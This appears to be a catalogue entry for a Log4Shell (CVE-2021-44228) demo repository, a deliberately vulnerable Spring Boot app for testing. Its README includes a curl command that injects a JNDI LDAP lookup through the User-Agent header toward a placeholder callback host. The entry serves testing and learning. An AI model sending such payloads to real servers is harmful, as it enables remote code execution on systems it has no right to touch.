CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source

https://github.com/korteke/log4shell-demo

Associated Vulnerability

Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇（Apache）基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞，攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器，当该请求被打印成日志时就会触发远程代码执行。

Description

Simple webapp that is vulnerable to Log4Shell (CVE-2021-44228)

Readme

# Simple Spring Boot application which is vulnerable to Log4Shell (CVE-2021-44228)
* Changed default logging framework from logback to log4j2

Application logs 'User-Agent' header, so one can test vulnerability with curl and e.g. [interactsh-service](https://github.com/projectdiscovery/interactsh):
```
curl -A '${jndi:ldap://interactsh-url/a}' http://target-service/
```
One should see DNS interaction at [app.interactsh.com](https://app.interactsh.com/).   

## Docker hub
Link to [Docker hub](https://hub.docker.com/r/korteke/log4shell-demo)

File Snapshot


 [4.0K]  /data/pocs/c7a65cc363db29b92a7c016e28aaae1afef43db1
├── [ 281]  Dockerfile
├── [9.6K]  mvnw
├── [6.5K]  mvnw.cmd
├── [1.6K]  pom.xml
├── [ 546]  README.md
└── [4.0K]  src
    └── [4.0K]  main
        ├── [4.0K]  java
        │   └── [4.0K]  net
        │       └── [4.0K]  kvak
        │           └── [4.0K]  log4shell
        │               ├── [ 322]  Log4shellApplication.java
        │               └── [ 678]  RESTController.java
        └── [4.0K]  resources
            ├── [  44]  application.properties
            ├── [ 643]  banner.txt
            └── [ 691]  log4j2.xml

7 directories, 10 files

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